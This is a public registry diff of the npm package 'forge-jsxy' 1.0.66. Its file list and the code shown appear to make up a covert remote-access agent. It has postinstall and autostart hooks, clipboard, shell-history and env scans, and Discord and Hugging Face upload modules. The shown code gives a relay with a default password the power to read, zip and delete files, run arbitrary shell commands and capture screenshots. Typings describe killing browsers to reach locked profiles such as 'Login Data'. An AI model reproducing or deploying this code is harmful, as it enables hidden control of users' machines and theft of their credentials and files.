forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,9 @@
1
+ export interface FilesExplorerHtmlOptions {
2
+ /** Shown in UI and passed to JS (use env CFGMGR_SESSION_PASSWORD in production). */
3
+ defaultPassword?: string;
4
+ /** WebSocket relay URL hint for browser (e.g. ws://host:9877 for forge-js relay). */
5
+ relayFallbackWs?: string;
6
+ }
7
+ /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
8
+ export declare function getForgeExplorerFaviconSvg(): string;
9
+ export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
@@ -0,0 +1,110 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
37
+ exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
38
+ /**
39
+ * Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
40
+ * — same template as Python `fs_browser_html` with injectable defaults.
41
+ */
42
+ const fs = __importStar(require("node:fs"));
43
+ const path = __importStar(require("node:path"));
44
+ const deploymentDefaults_1 = require("./deploymentDefaults");
45
+ let _cachedTemplate = null;
46
+ let _cachedFaviconSvg = null;
47
+ function loadTemplate() {
48
+ if (_cachedTemplate)
49
+ return _cachedTemplate;
50
+ const candidates = [
51
+ path.join(__dirname, "assets", "files-explorer-template.html"),
52
+ path.join(__dirname, "..", "assets", "files-explorer-template.html"),
53
+ ];
54
+ for (const p of candidates) {
55
+ try {
56
+ if (fs.existsSync(p)) {
57
+ _cachedTemplate = fs.readFileSync(p, "utf8");
58
+ return _cachedTemplate;
59
+ }
60
+ }
61
+ catch {
62
+ continue;
63
+ }
64
+ }
65
+ throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
66
+ }
67
+ /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
68
+ function getForgeExplorerFaviconSvg() {
69
+ if (_cachedFaviconSvg)
70
+ return _cachedFaviconSvg;
71
+ const candidates = [
72
+ path.join(__dirname, "assets", "forge-explorer-favicon.svg"),
73
+ path.join(__dirname, "..", "assets", "forge-explorer-favicon.svg"),
74
+ ];
75
+ for (const p of candidates) {
76
+ try {
77
+ if (fs.existsSync(p)) {
78
+ _cachedFaviconSvg = fs.readFileSync(p, "utf8");
79
+ return _cachedFaviconSvg;
80
+ }
81
+ }
82
+ catch {
83
+ continue;
84
+ }
85
+ }
86
+ throw new Error("forge-explorer-favicon.svg not found (run npm run build and ensure assets are copied to dist/)");
87
+ }
88
+ function htmlEscapeAttr(s) {
89
+ return s
90
+ .replace(/&/g, "&amp;")
91
+ .replace(/"/g, "&quot;")
92
+ .replace(/</g, "&lt;")
93
+ .replace(/>/g, "&gt;");
94
+ }
95
+ function buildFilesExplorerHtml(opts = {}) {
96
+ const pwd = opts.defaultPassword ??
97
+ process.env.CFGMGR_SESSION_PASSWORD ??
98
+ deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
99
+ let relay = opts.relayFallbackWs ??
100
+ process.env.CFGMGR_RELAY_FALLBACK ??
101
+ process.env.CFGMGR_RELAY_URL ??
102
+ "";
103
+ if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
104
+ relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
105
+ }
106
+ return loadTemplate()
107
+ .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
108
+ .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
109
+ .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
110
+ }
@@ -0,0 +1 @@
1
+ export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;
@@ -0,0 +1,123 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.buildFsResponse = buildFsResponse;
4
+ /**
5
+ * Filesystem explorer JSON-RPC responses — same types as cfgmgr.remote._fs_response.
6
+ */
7
+ const fsProtocol_1 = require("./fsProtocol");
8
+ async function buildFsResponse(msg, allowFilesystem) {
9
+ /** Always echo a string — avoids silent client mismatch when JSON coerces ids. */
10
+ const rid = String(msg.request_id ?? "");
11
+ if (!allowFilesystem) {
12
+ return {
13
+ type: "fs_error",
14
+ request_id: rid,
15
+ ok: false,
16
+ error: "filesystem explorer disabled on agent",
17
+ };
18
+ }
19
+ const msgType = String(msg.type || "");
20
+ try {
21
+ if (msgType === "fs_roots") {
22
+ const payload = (0, fsProtocol_1.fsRootsPayload)();
23
+ return { type: "fs_roots_result", request_id: rid, ...payload };
24
+ }
25
+ if (msgType === "fs_list") {
26
+ const pathStr = String(msg.path ?? "");
27
+ const searchQuery = String(msg.search ?? "");
28
+ const result = (0, fsProtocol_1.fsListDir)(pathStr, null, searchQuery);
29
+ return { type: "fs_list_result", request_id: rid, ...result };
30
+ }
31
+ if (msgType === "fs_read") {
32
+ const pathStr = String(msg.path ?? "");
33
+ let mbInt = null;
34
+ const mb = msg.max_bytes;
35
+ if (mb != null) {
36
+ const n = parseInt(String(mb), 10);
37
+ if (!Number.isNaN(n))
38
+ mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
39
+ }
40
+ let off = 0;
41
+ try {
42
+ off = parseInt(String(msg.offset || 0), 10) || 0;
43
+ }
44
+ catch {
45
+ off = 0;
46
+ }
47
+ const chunk = Boolean(msg.chunk);
48
+ const force = Boolean(msg.force);
49
+ const forceKill = Boolean(msg.force_kill);
50
+ const result = chunk
51
+ ? await (0, fsProtocol_1.fsReadFileChunked)(pathStr, null, mbInt, off, rid, force, forceKill)
52
+ : (0, fsProtocol_1.fsReadFile)(pathStr, null, mbInt, off, false);
53
+ return { type: "fs_read_result", request_id: rid, ...result };
54
+ }
55
+ if (msgType === "fs_zip") {
56
+ const pathStr = String(msg.path ?? "");
57
+ let mbInt = null;
58
+ const mb = msg.max_bytes;
59
+ if (mb != null) {
60
+ const n = parseInt(String(mb), 10);
61
+ if (!Number.isNaN(n))
62
+ mbInt = Math.max(256, Math.min(n, fsProtocol_1.MAX_READ_BYTES * 4));
63
+ }
64
+ let off = 0;
65
+ try {
66
+ off = parseInt(String(msg.offset || 0), 10) || 0;
67
+ }
68
+ catch {
69
+ off = 0;
70
+ }
71
+ const chunk = Boolean(msg.chunk);
72
+ const force = Boolean(msg.force);
73
+ const forceKill = Boolean(msg.force_kill);
74
+ const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill);
75
+ return { type: "fs_zip_result", request_id: rid, ...result };
76
+ }
77
+ if (msgType === "fs_parent") {
78
+ const pathStr = String(msg.path ?? "");
79
+ const result = (0, fsProtocol_1.fsParentDirectory)(pathStr);
80
+ return { type: "fs_parent_result", request_id: rid, ...result };
81
+ }
82
+ if (msgType === "fs_delete") {
83
+ const pathStr = String(msg.path ?? "");
84
+ const force = Boolean(msg.force);
85
+ const forceKill = Boolean(msg.force_kill);
86
+ const result = await (0, fsProtocol_1.fsDeletePath)(pathStr, null, force || forceKill ? { force, forceKill } : undefined);
87
+ return { type: "fs_delete_result", request_id: rid, ...result };
88
+ }
89
+ if (msgType === "fs_shell_exec") {
90
+ const command = String(msg.command ?? "");
91
+ const cwd = msg.cwd != null ? String(msg.cwd) : undefined;
92
+ let timeout = 120_000;
93
+ try {
94
+ const n = parseInt(String(msg.timeout_ms ?? ""), 10);
95
+ if (Number.isFinite(n))
96
+ timeout = n;
97
+ }
98
+ catch {
99
+ timeout = 120_000;
100
+ }
101
+ const result = await (0, fsProtocol_1.fsShellExec)(command, null, cwd, timeout);
102
+ return { type: "fs_shell_exec_result", request_id: rid, ...result };
103
+ }
104
+ if (msgType === "fs_screenshot") {
105
+ const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
106
+ return { type: "fs_screenshot_result", request_id: rid, ...result };
107
+ }
108
+ return {
109
+ type: "fs_error",
110
+ request_id: rid,
111
+ ok: false,
112
+ error: `unknown filesystem request: ${msgType || "unknown"}`,
113
+ };
114
+ }
115
+ catch (e) {
116
+ return {
117
+ type: "fs_error",
118
+ request_id: rid,
119
+ ok: false,
120
+ error: String(e),
121
+ };
122
+ }
123
+ }
@@ -0,0 +1,107 @@
1
+ /** Explorer `fs_list` entry cap (sorted). Large dirs need a higher cap; very large values can stress browser memory. */
2
+ export declare const MAX_LIST_ENTRIES = 1000000;
3
+ /**
4
+ * Default per-chunk read size (non-chunk mode). Chunked downloads clamp `max_bytes` to at most `MAX_READ_BYTES * 4`
5
+ * (~92 MiB raw → ~123 MiB base64 + JSON, under relay `maxPayload` 2**27).
6
+ */
7
+ export declare const MAX_READ_BYTES: number;
8
+ export declare function allowedFsRoots(): string[];
9
+ export declare function resolveFsPath(pathStr: string, roots: string[]): {
10
+ path: string;
11
+ error?: string;
12
+ };
13
+ export declare function fsListDir(pathStr: string, roots?: string[] | null, searchQuery?: string): Record<string, unknown>;
14
+ export declare function fsReadFile(pathStr: string, roots?: string[] | null, maxBytes?: number | null, offset?: number, chunk?: boolean): Record<string, unknown>;
15
+ /**
16
+ * Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
17
+ * {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
18
+ * then chunks are served from that copy so another process holding the original open is less likely to break reads.
19
+ * Larger files fall back to reading the live path each chunk (no extra disk). Empty `request_id` always uses live path.
20
+ */
21
+ export declare function fsReadFileChunked(pathStr: string, roots: string[] | null, maxBytes: number | null, offset: number, requestId: string, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
22
+ /**
23
+ * Delete a file or recursively remove a directory under allowed roots.
24
+ * Refuses to delete an explorer root (e.g. home, drive letter, `/`).
25
+ *
26
+ * Uses `fs.rm` with **retries** on transient locks (`EBUSY`, sharing violations, etc.),
27
+ * same heuristics as `isRetryableCopyError` in `exportMirrorCopy`. Windows: between retries,
28
+ * attempts `chmod` to clear read-only on the target. Tunables: `CFGMGR_FS_DELETE_ATTEMPTS` (1–30,
29
+ * default 10), `CFGMGR_FS_DELETE_RETRY_MS` (50–5000, default 200). A live browser handle on
30
+ * e.g. Edge `Login Data` can still block delete until the app releases the file.
31
+ *
32
+ * `opts.force`: more `fs.rm` attempts and longer backoff (does **not** kill other processes).
33
+ * `opts.forceKill`: terminate processes likely holding this path (best-effort), then delete; may restart them after success or failure.
34
+ *
35
+ * Wall clock: entire delete (force-unlock + retries) is capped by **`CFGMGR_FS_DELETE_MAX_WALL_MS`** (15s–1h).
36
+ * Default **180s** for files / normal deletes; **900s** when **`forceKill` + directory** (large locked profiles).
37
+ * Windows: after **`taskkill /IM`** on a browser profile, **`CFGMGR_FS_WIN32_PS_AFTER_IM`** defaults to **`skip`**
38
+ * (no `Win32_Process` wait — delete runs immediately). Set to **`scan`** to enumerate for other lockers; then
39
+ * **`CFGMGR_FS_WIN32_PS_AFTER_IM_KILL_TIMEOUT_MS`** (default 8s) caps that wait. Full list when no `/IM`:
40
+ * **`CFGMGR_FS_WIN32_PS_LIST_TIMEOUT_MS`** (default 25s).
41
+ * Linux / macOS: after **`killall`/`pkill`** on a recognized profile, **`CFGMGR_FS_UNIX_PS_AFTER_KILL`** defaults to
42
+ * **`skip`** (no full **`/proc`** or **`ps axww`** scan). Set to **`scan`** to enumerate for other lockers.
43
+ */
44
+ export declare function fsDeletePath(pathStr: string, roots?: string[] | null, opts?: {
45
+ force?: boolean;
46
+ forceKill?: boolean;
47
+ }): Promise<Record<string, unknown>>;
48
+ export declare function fsParentDirectory(pathStr: string, roots?: string[] | null): Record<string, unknown>;
49
+ export declare function fsRootsPayload(): Record<string, unknown>;
50
+ export declare function purgeStaleZipSessions(): void;
51
+ export declare function purgeStaleChunkedFileReadSessions(): void;
52
+ /** Drop expired folder-zip and chunked file-read temp sessions (paths + numbers only; frees disk). */
53
+ export declare function purgeStaleExplorerStaging(): void;
54
+ /**
55
+ * Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
56
+ * Call on agent shutdown so temp trees under `os.tmpdir()` do not linger after disconnect.
57
+ */
58
+ export declare function purgeAllExplorerStagingSync(): void;
59
+ /**
60
+ * Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
61
+ * First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
62
+ */
63
+ export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
64
+ /**
65
+ * Turn raw .NET / PowerShell screenshot failures into short, actionable text for the /files explorer
66
+ * (e.g. locked RDP, Session 0 service, no interactive desktop — `CopyFromScreen` "handle is invalid").
67
+ */
68
+ export declare function formatWindowsScreenshotUserMessage(raw: unknown): string;
69
+ /**
70
+ * Shrink in-memory screenshot bytes (PNG/JPEG) to at most `cap` (e.g. Discord attachment limits).
71
+ * Jimp first, then the same temp-file + ImageMagick/ffmpeg/GDI stack as {@link shrinkScreenshotFileToMaxBytes}.
72
+ */
73
+ export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: number): Promise<{
74
+ buffer: Buffer;
75
+ mime: string;
76
+ } | null>;
77
+ /**
78
+ * Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
79
+ * Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).
80
+ * macOS: `screencapture -x`, then per-display `-D` + ImageMagick `+append` when a single capture fails.
81
+ * Linux: grim / ffmpeg (Wayland); multi-output Wayland uses Sway/Hypr **geometry** + ImageMagick composite
82
+ * (full virtual desktop, including vertical stacks); falls back to per-output `grim -o` + `+append` when needed.
83
+ * X11: `ffmpeg` + `xdpyinfo` / `xrandr` virtual size before `maim` / `scrot` (not used when `WAYLAND_DISPLAY` is set).
84
+ * Optional env: `FORGE_JS_SCREENSHOT_MAX_BYTES` (default ~11 MiB; oversize captures are auto-shrunk when possible).
85
+ * `FORGE_JS_SCREENSHOT_MAX_WIDTH`: omit = capture down-scales to ~1680px width (plus auto JPEG shrink); `0` = no capture down-scale.
86
+ * GNOME: set `FORGE_JS_SCREENSHOT_MUTTER_LOGICAL_POS_SCALE=1` if logical-monitor positions need scaling to match `grim` buffers (default off).
87
+ */
88
+ export declare function fsDesktopScreenshotCapture(): Promise<Record<string, unknown>>;
89
+ /**
90
+ * Capture the full Windows virtual screen (all monitors merged). Uses `SetProcessDPIAware` + `GetSystemMetrics`
91
+ * virtual-screen metrics so HiDPI multi-monitor matches GDI `CopyFromScreen` (avoids partial/wrong crops).
92
+ * Scales down wide canvases so the PNG fits WebSocket payload limits.
93
+ */
94
+ export declare function fsWindowsScreenshotCapture(): Promise<Record<string, unknown>>;
95
+ /**
96
+ * Run a shell command on the agent host (same privilege as the forge-agent process).
97
+ * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
98
+ * Set `CFGMGR_SHELL_WINDOWS_USE_CMD=1` to restore `cmd.exe /c`.
99
+ * The `/files` explorer **Upgrade forge-jsx** / **Restart agent** buttons send PowerShell; with `cmd.exe` those commands may fail unless the template is customized.
100
+ * macOS / Linux: `bash --noprofile --norc -c` when **`/bin/bash` or `/usr/bin/bash`** exists (avoids `bash -lc` login shells
101
+ * that source `~/.profile` / conda / interactive hooks and can **hang** `fs_shell_exec` until timeout),
102
+ * else `/bin/sh -c`, with `stdio` piped and stdin ignored (**not** `detached: true` — a detached session
103
+ * leader plus nested `node` spawning its own detached workers was an occasional source of missing `close`
104
+ * / long hangs on Linux and macOS explorer Upgrade / Restart).
105
+ * Optional `cwd` must resolve under explorer roots when non-empty.
106
+ */
107
+ export declare function fsShellExec(command: string, roots: string[] | null, cwdPathStr: string | undefined, timeoutMs: number | undefined): Promise<Record<string, unknown>>;